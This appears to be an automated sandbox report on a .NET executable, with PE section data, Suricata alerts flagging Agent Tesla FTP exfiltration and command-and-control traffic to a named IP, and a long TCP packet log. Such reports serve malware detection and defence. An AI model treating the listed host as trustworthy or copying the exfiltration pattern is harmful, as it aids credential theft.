add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa893b	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xaa000	0x674	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xac000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa6428	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa6994	0xa6a00	045c22e41300f948252472d761023d08	False	0.9178266246249063	data	7.8170394032595425	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xaa000	0x674	0x800	dc1bb465dc7c5cc3c2b68f490aac9b70	False	0.3427734375	data	3.5397571549190485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xac000	0xc	0x200	23607fd5c69ca257467b834002b79656	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xaa090	0x3e4	data			0.39558232931726905
RT_MANIFEST	0xaa484	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T14:42:33.783691+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.9	49717	110.4.45.197	21	TCP
2024-09-25T14:42:34.626804+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49719	110.4.45.197	58009	TCP
2024-09-25T14:42:34.633344+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49719	110.4.45.197	58009	TCP
2024-09-25T14:42:39.600523+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.9	49723	110.4.45.197	21	TCP
2024-09-25T14:42:40.450522+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49726	110.4.45.197	53264	TCP
2024-09-25T14:42:40.459740+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	49726	110.4.45.197	53264	TCP
2024-09-25T14:42:48.225577+0200	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.9	55430	110.4.45.197	21	TCP
2024-09-25T14:42:49.076789+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	55431	110.4.45.197	54539	TCP
2024-09-25T14:42:49.082015+0200	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.9	55431	110.4.45.197	54539	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 14:42:22.808478117 CEST	49709	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:22.808532000 CEST	443	49709	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:22.808614016 CEST	49709	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:22.821855068 CEST	49709	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:22.821881056 CEST	443	49709	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:23.322808027 CEST	443	49709	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:23.322948933 CEST	49709	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:23.357567072 CEST	49709	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:23.357637882 CEST	443	49709	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:23.358108997 CEST	443	49709	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:23.404323101 CEST	49709	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:23.911946058 CEST	49709	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:23.955414057 CEST	443	49709	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:24.025492907 CEST	443	49709	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:24.025660992 CEST	443	49709	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:24.025731087 CEST	49709	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:24.035404921 CEST	49709	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:25.618757963 CEST	49711	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:25.623650074 CEST	21	49711	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:25.623934031 CEST	49711	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:25.628768921 CEST	49711	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:25.633625984 CEST	21	49711	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:25.633692026 CEST	49711	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:25.669079065 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:25.674038887 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:25.674154043 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:26.554580927 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:26.554840088 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:26.559585094 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:26.904500961 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:26.943182945 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:26.948046923 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:27.321655989 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:27.321796894 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:27.326765060 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:27.661900043 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:27.662194014 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:27.667042017 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:28.006783962 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:28.006975889 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:28.013983965 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:28.360621929 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:28.360764980 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:28.366066933 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:28.497895002 CEST	49714	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:28.497942924 CEST	443	49714	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:28.498172045 CEST	49714	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:28.502957106 CEST	49714	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:28.502973080 CEST	443	49714	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:28.715434074 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:28.716159105 CEST	49715	54484	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:28.723326921 CEST	54484	49715	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:28.723450899 CEST	49715	54484	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:28.723539114 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:28.730189085 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:28.968799114 CEST	443	49714	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:28.968988895 CEST	49714	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:28.975292921 CEST	49714	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:28.975307941 CEST	443	49714	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:28.975554943 CEST	443	49714	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:29.183444977 CEST	443	49714	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:29.183662891 CEST	49714	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:29.239263058 CEST	49714	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:29.283409119 CEST	443	49714	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:29.346688986 CEST	443	49714	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:29.346772909 CEST	443	49714	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:29.346862078 CEST	49714	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:29.354280949 CEST	49714	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:29.608680964 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:29.617376089 CEST	49715	54484	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:29.617554903 CEST	49715	54484	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:29.622220993 CEST	54484	49715	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:29.622615099 CEST	54484	49715	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:29.623614073 CEST	49715	54484	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:29.701205015 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:29.968885899 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:29.973295927 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:29.979635000 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:30.320218086 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:30.320887089 CEST	49716	60403	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:30.327471018 CEST	60403	49716	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:30.327680111 CEST	49716	60403	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:30.328476906 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:30.335787058 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:30.801389933 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:30.806329966 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:30.806402922 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:31.384186983 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:31.389995098 CEST	49716	60403	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:31.390208006 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:31.390256882 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:31.397808075 CEST	60403	49716	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:31.397862911 CEST	49716	60403	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:31.635230064 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:31.635566950 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:31.640484095 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:31.731142998 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:31.731556892 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:31.736411095 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:31.962534904 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:31.963149071 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:31.968061924 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.075933933 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.076531887 CEST	49718	55829	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:32.082731962 CEST	55829	49718	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.082859039 CEST	49718	55829	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:32.089035034 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:32.093940973 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.325310946 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.325634003 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:32.330657959 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.652662992 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.657428026 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:32.662301064 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.911660910 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.911899090 CEST	49718	55829	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:32.919991016 CEST	55829	49718	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.921066999 CEST	49718	55829	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:32.966842890 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:32.986711025 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:32.986973047 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:32.993619919 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:33.239876032 CEST	21	49712	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:33.294928074 CEST	49712	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:33.316895962 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:33.357469082 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:33.449080944 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:33.456129074 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:33.778009892 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:33.778656960 CEST	49719	58009	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:33.783516884 CEST	58009	49719	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:33.783579111 CEST	49719	58009	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:33.783690929 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:33.788511038 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:34.626370907 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:34.626804113 CEST	49719	58009	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:34.626847029 CEST	49719	58009	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:34.632961988 CEST	58009	49719	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:34.633290052 CEST	58009	49719	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:34.633343935 CEST	49719	58009	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:34.670005083 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:34.886576891 CEST	49720	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:34.886639118 CEST	443	49720	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:34.886704922 CEST	49720	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:34.890780926 CEST	49720	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:34.890794039 CEST	443	49720	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:35.034544945 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:35.070092916 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:35.075097084 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:35.450246096 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:35.498078108 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:35.509779930 CEST	443	49720	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:35.509918928 CEST	49720	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:35.549309015 CEST	49720	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:35.549362898 CEST	443	49720	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:35.550246000 CEST	443	49720	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:35.609277010 CEST	49720	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:36.060430050 CEST	49720	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:36.065648079 CEST	49721	63289	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:36.070575953 CEST	63289	49721	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:36.070641041 CEST	49721	63289	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:36.071222067 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:36.076009989 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:36.107404947 CEST	443	49720	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:36.166415930 CEST	443	49720	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:36.166490078 CEST	443	49720	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:36.166551113 CEST	49720	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:36.169717073 CEST	49720	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:36.750165939 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:36.755023956 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:36.755089998 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:36.928812981 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:36.929054022 CEST	49721	63289	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:36.929100990 CEST	49721	63289	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:36.933953047 CEST	63289	49721	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:36.934624910 CEST	63289	49721	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:36.934670925 CEST	49721	63289	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:36.980067968 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:37.270031929 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:37.270481110 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:37.275294065 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:37.583060980 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:37.583281040 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:37.588126898 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:37.601094007 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:37.601607084 CEST	49724	57088	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:37.606452942 CEST	57088	49724	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:37.606532097 CEST	49724	57088	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:37.606585979 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:37.611352921 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:37.912306070 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:37.912535906 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:37.917402029 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.265619040 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.265788078 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:38.270566940 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.431421041 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.453553915 CEST	49724	57088	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:38.458750010 CEST	57088	49724	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.460557938 CEST	49724	57088	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:38.482527018 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:38.591711998 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.592644930 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:38.597621918 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.783453941 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.785008907 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:38.789844036 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.938766003 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:38.939066887 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:38.943948984 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.112016916 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.119362116 CEST	49725	54891	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:39.124424934 CEST	54891	49725	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.124506950 CEST	49725	54891	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:39.124619007 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:39.130100965 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.267407894 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.267564058 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:39.272524118 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.594686031 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.595324993 CEST	49726	53264	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:39.600353003 CEST	53264	49726	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.600446939 CEST	49726	53264	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:39.600522995 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:39.605353117 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.956085920 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.956338882 CEST	49725	54891	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:39.961500883 CEST	54891	49725	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:39.961580038 CEST	49725	54891	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:39.998111963 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:40.285213947 CEST	21	49717	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:40.326210022 CEST	49717	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:40.450242043 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:40.450521946 CEST	49726	53264	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:40.452512980 CEST	49726	53264	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:40.455465078 CEST	53264	49726	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:40.457782030 CEST	53264	49726	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:40.459739923 CEST	49726	53264	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:40.498110056 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:40.790472984 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:40.825231075 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:40.830246925 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:41.153971910 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:41.188102961 CEST	55427	56189	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:41.193123102 CEST	56189	55427	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:41.194629908 CEST	55427	56189	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:41.201292038 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:41.208826065 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:41.213665009 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:42.020953894 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:42.021167994 CEST	55427	56189	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:42.021202087 CEST	55427	56189	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:42.026232004 CEST	56189	55427	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:42.026773930 CEST	56189	55427	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:42.026818037 CEST	55427	56189	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:42.076210022 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:42.350935936 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:42.351356030 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:42.357284069 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:42.679596901 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:42.680042028 CEST	55428	65044	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:42.685103893 CEST	65044	55428	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:42.685179949 CEST	55428	65044	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:42.685287952 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:42.690208912 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:43.132358074 CEST	55429	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:43.132409096 CEST	443	55429	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:43.132572889 CEST	55429	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:43.135869980 CEST	55429	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:43.135888100 CEST	443	55429	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:43.585841894 CEST	21	49723	110.4.45.197	192.168.2.9
Sep 25, 2024 14:42:43.625462055 CEST	443	55429	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:43.625572920 CEST	55429	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:43.627717972 CEST	55429	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:43.627749920 CEST	443	55429	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:43.628609896 CEST	443	55429	172.67.74.152	192.168.2.9
Sep 25, 2024 14:42:43.638744116 CEST	49723	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:42:43.670002937 CEST	55429	443	192.168.2.9	172.67.74.152
Sep 25, 2024 14:42:43.679562092 CEST	55429	443	192.168.2.9	172.67.74.152
